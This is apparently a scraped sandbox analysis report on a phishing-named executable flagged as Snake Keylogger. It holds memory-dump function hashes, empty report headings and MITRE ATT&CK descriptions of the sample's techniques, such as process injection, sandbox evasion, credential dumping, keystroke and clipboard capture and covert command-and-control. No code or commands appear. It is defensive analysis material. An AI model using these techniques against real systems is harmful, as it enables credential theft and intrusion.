Instruction Fuzzy Hash: 11D02272200120A7CE46A63CF89D3AC3B868F41210F1A408EE1068FB81CEAE0C86C3E4

Uniqueness

Uniqueness Score: -1.00%

Function 0866F0B8, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.943244656.0000000008650000.00000040.00000001.sdmp, Offset: 08650000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dfad99781cd7acba009a1968c1c42d4c4d301df561adee4810a89d1f47f1141
Instruction ID: 05374b2c7769a0ff1d9585058dc1e25519765d3abc09eb1e92796b9f6d323860
Opcode Fuzzy Hash: 9dfad99781cd7acba009a1968c1c42d4c4d301df561adee4810a89d1f47f1141
Instruction Fuzzy Hash: 91D09275114200AFC64DDB14C9A9F3ABBAAAB95251F11C45AE0A98A1A0C2349852CF71

Uniqueness

Uniqueness Score: -1.00%

Function 086692A3, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.943244656.0000000008650000.00000040.00000001.sdmp, Offset: 08650000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f9f1b7af49ace98a538dd5653f8b605f3c6cd9c0a4bad99af82668d9226cef3
Instruction ID: cede8bb4bd4c2c2f5457992cc2c796394c494f139a4d7446769ebed954cbfd9b
Opcode Fuzzy Hash: 6f9f1b7af49ace98a538dd5653f8b605f3c6cd9c0a4bad99af82668d9226cef3
Instruction Fuzzy Hash: F4D0CA3AA00019ABCF008AC0E841ACDFB32FB98321F008122E6106A260C2321522DB80

Uniqueness

Uniqueness Score: -1.00%

Function 0806DCC1, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.942532646.0000000008060000.00000040.00000001.sdmp, Offset: 08060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 581a1bc272c89f9423f5d810e62a180613fb07ba7140b6a90c6bc2a7357840a7
Instruction ID: c3d771a42d6181f60c9842c2b7a4cd493989f0f7b35cbc451173d8cad55ccf64
Opcode Fuzzy Hash: 581a1bc272c89f9423f5d810e62a180613fb07ba7140b6a90c6bc2a7357840a7
Instruction Fuzzy Hash: 2EC08CBA408380EAE72306209E06BAA7E406F52702F800409A684840C0D728E060C612

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report REQUEST FOR QUOTATION 4675674665.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Snake Keylogger

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre